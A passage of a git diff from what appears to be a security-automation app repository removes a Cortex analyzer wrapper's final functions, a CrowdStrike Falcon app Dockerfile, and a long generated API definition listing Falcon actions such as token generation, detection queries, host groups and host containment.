datatype, message="", tlp=1, force="true"): - if data == "" or data == "[]": - return { - "success": False, - "reason": "No values to handle []", - } - - if str(force.lower()) == "true": - force = 1 - else: - force = 0 - - self.api = Api(url, apikey, cert=False) - analyzers = self.get_available_analyzers(apikey, url, datatype) - - alljobs = [] - for analyzer in analyzers: - try: - job = self.api.analyzers.run_by_name(analyzer, { - 'data': data, - 'dataType': datatype, - 'tlp': tlp, - 'message': message, - }, force=force) - - alljobs.append(job.id) - except cortex4py.exceptions.ServiceUnavailableError as e: - return [str(e)] - except cortex4py.exceptions.AuthorizationError as e: - return [str(e)] - except cortex4py.exceptions.NotFoundError as e: - return [str(e)] - - #if len(alljobs) == 1: - # return alljobs[0] - return alljobs - - def run_analyzer(self, apikey, url, analyzer_name, data, datatype, message="", tlp=1, force="true"): - if str(force.lower()) == "true": - force = 1 - else: - force = 0 - - self.api = Api(url, apikey, cert=False) - try: - job = self.api.analyzers.run_by_name(analyzer_name, { - 'data': data, - 'dataType': datatype, - 'tlp': tlp, - 'message': message, - }, force=force) - except cortex4py.exceptions.ServiceUnavailableError as e: - return str(e) - except cortex4py.exceptions.AuthorizationError as e: - return str(e) - except cortex4py.exceptions.NotFoundError as e: - return str(e) - - return job.id - - def get_analyzer_result(self, url, apikey, result_id): - self.api = Api(url, apikey, cert=False) - try: - report = self.api.jobs.get_report(result_id).report - except cortex4py.exceptions.ServiceUnavailableError as e: - return str(e) - except cortex4py.exceptions.AuthorizationError as e: - return str(e) - except cortex4py.exceptions.NotFoundError as e: - return str(e) - - return report - -if __name__ == "__main__": - Cortex.run() diff --git a/crowdstrike-falcon/1.0.0/Dockerfile b/crowdstrike-falcon/1.0.0/Dockerfile deleted file mode 100644 index 740fee62..00000000 --- a/crowdstrike-falcon/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image - this can be a lot of different stuff -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/crowdstrike-falcon/1.0.0/api.yaml b/crowdstrike-falcon/1.0.0/api.yaml deleted file mode 100755 index c6738a17..00000000 --- a/crowdstrike-falcon/1.0.0/api.yaml +++ /dev/null @@ -1,17996 +0,0 @@ -name: Crowdstrike Falcon -is_valid: true -id: "" -link: https://api.crowdstrike.com -app_version: 1.0.0 -sharing_config: "" -generated: true -downloaded: false -sharing: false -verified: false -invalid: false -activated: true -tested: false -hash: "" -private_id: "" -description: Each API endpoint requires authorization via an OAuth2 token. Your first API request - should retrieve an OAuth2 token using the `oauth2/token` endpoint, such as `https://api.crowdstrike.com/oauth2/token`. Any action should be preceeded by a `get oauth2 access token` action titled `auth` that feeds the access token into it. Tokens expire after 30 minutes, after which you should make a new token request - to continue making API requests. -environment: Shuffle -contact_info: - name: "test" - url: "test" -referenceinfo: - documentationurl: "" - githuburl: "" -foldermount: - foldermount: false - sourcefolder: "" - destinationfolder: "" -actions: -- description: "" - name: generate_oauth2_access_token - label: OAuth2 - Generate an OAuth2 access token - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Accept: application/json - Content-Type: application/x-www-form-urlencoded - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_detect_aggregates - label: Detects - Get detect aggregates - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: view_information_about_detections - label: Detects - View information about detections - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "ids": "${ids}" - } - value: |- - { - "ids": "${ids}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: modify_detections - label: Detects - Modify the state assignee and visibility of detections - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "assigned_to_uuid": "${assigned_to_uuid}", - "comment": "${comment}", - "ids": "${ids}", - "show_in_ui": "${show_in_ui}", - "status": "${status}" - } - value: |- - { - "assigned_to_uuid": "${assigned_to_uuid}", - "comment": "${comment}", - "ids": "${ids}", - "show_in_ui": "${show_in_ui}", - "status": "${status}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_detection_ids - label: Detects - Search for detection IDs that match a given query - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The first detection to return, where `0` is the latest detection. - Use with the `limit` parameter to manage pagination of results. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'The maximum number of detections to return in this response (default: - 9999; max: 9999). Use with the `offset` parameter to manage pagination of results.' - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Sort detections using these options: - - - `first_behavior`: Timestamp of the first behavior associated with this detection - - `last_behavior`: Timestamp of the last behavior associated with this detection - - `max_severity`: Highest severity of the behaviors associated with this detection - - `max_confidence`: Highest confidence of the behaviors associated with this detection - - `adversary_id`: ID of the adversary associated with this detection, if any - - `devices.hostname`: Hostname of the host where this detection was detected - - Sort either `asc` (ascending) or `desc` (descending). For example: `last_behavior|asc` - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: "Filter detections using a query in Falcon Query Language (FQL) An - asterisk wildcard `*` includes all results. \n\nCommon filter options include:\n\n- - `status`\n- `device.device_id`\n- `max_severity`\n\nThe full list of valid filter - options is extensive. Review it in our [documentation inside the Falcon console](https://falcon.crowdstrike.com/support/documentation/2/query-api-reference#detections_fql)." - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Search all detection metadata for the provided string - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_set_of_host_groups - label: Host Group - Retrieve a set of Host Groups by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Host Groups to return - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_set_of_host_groups - label: Host Group - Delete a set of Host Groups by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Host Groups to delete - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_host_groups - label: Host Group - Create Host Groups by specifying details about the group to create - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_host_groups - label: Host Group - Update Host Groups by specifying the ID of the group and details to update - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_host_groups - label: Host Group - Search for Host Groups in your environment by providing an FQL filter and - paging details Returns a set of Host Groups which match the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_host_group_ids - label: Host Group - Search for Host Groups in your environment by providing an FQL filter and - paging details Returns a set of Host Group IDs which match the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_host_group_members - label: Host Group - Search for members of a Host Group in your environment by providing an FQL - filter and paging details Returns a set of host details which match the filter - criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Host Group to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: perform_action_on_host_group - label: Host Group - Perform the specified action on the Host Groups specified in the request - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The action to perform - name: action_name - example: "" - multiline: false - options: - - add-hosts - - remove-hosts - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the host group to change - name: host_group_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The hostnames to change - name: hostnames - example: "" - multiline: true - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_host_group_member_ids - label: Host Group - Search for members of a Host Group in your environment by providing an FQL - filter and paging details Returns a set of Agent IDs which match the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Host Group to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_hidden_hosts - label: Hosts - Retrieve hidden hosts that match the provided filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by (e.g. status.desc or hostname.asc) - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_hosts - label: Hosts - Search for hosts in your environment by platform hostname IP and other criteria - with continuous pagination capability based on offset pointer which expires after - 2 minutes with no maximum limit - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to page from, for the next result set - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by (e.g. status.desc or hostname.asc) - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: modify_host_tags - label: Hosts - Append or remove one or more Falcon Grouping Tags on one or more hosts - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "action": "${action}", - "device_ids": "${device_ids}", - "tags": "${tags}" - } - value: |- - { - "action": "${action}", - "device_ids": "${device_ids}", - "tags": "${tags}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_details_on_hosts - label: Hosts - Get details on one or more hosts by providing agent IDs AID You can get a - hosts agent IDs AIDs from the devicesqueriesdevicesv1 endpoint the Falcon console - or the Streaming API - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The host agentIDs used to get details on - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: take_action_on_hosts - label: Hosts - Take various actions on the hosts in your environment Contain or lift containment - on a host Delete or restore a host - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: |- - Specify one of these actions: - - - `contain` - This action contains the host, which stops any network communications to locations other than the CrowdStrike cloud and IPs specified in your [containment policy](https://falcon.crowdstrike.com/support/documentation/11/getting-started-guide#containmentpolicy) - - `lift_containment`: This action lifts containment on the host, which returns its network communications to normal - - `hide_host`: This action will delete a host. After the host is deleted, no new detections for that host will be reported via UI or APIs - - `unhide_host`: This action will restore a host. Detection reporting will resume after the host is restored - name: action_name - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "action_parameters": "${action_parameters}", - "ids": "${ids}" - } - value: |- - { - "action_parameters": "${action_parameters}", - "ids": "${ids}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_hosts - label: Hosts - Search for hosts in your environment by platform hostname IP and other criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by (e.g. status.desc or hostname.asc) - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: download_analysis_artifacts - label: FalconX Sandbox - Download IOC packs PCAP files and other analysis artifacts - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: ID of an artifact, such as an IOC pack, PCAP file, or actor image. - Find an artifact ID in a report or summary. - name: id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: gzip - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The name given to your downloaded file. - name: name - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_sandbox_reports - label: FalconX Sandbox - Find sandbox reports by providing an FQL filter and paging details Returns - a set of report IDs that match your criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - 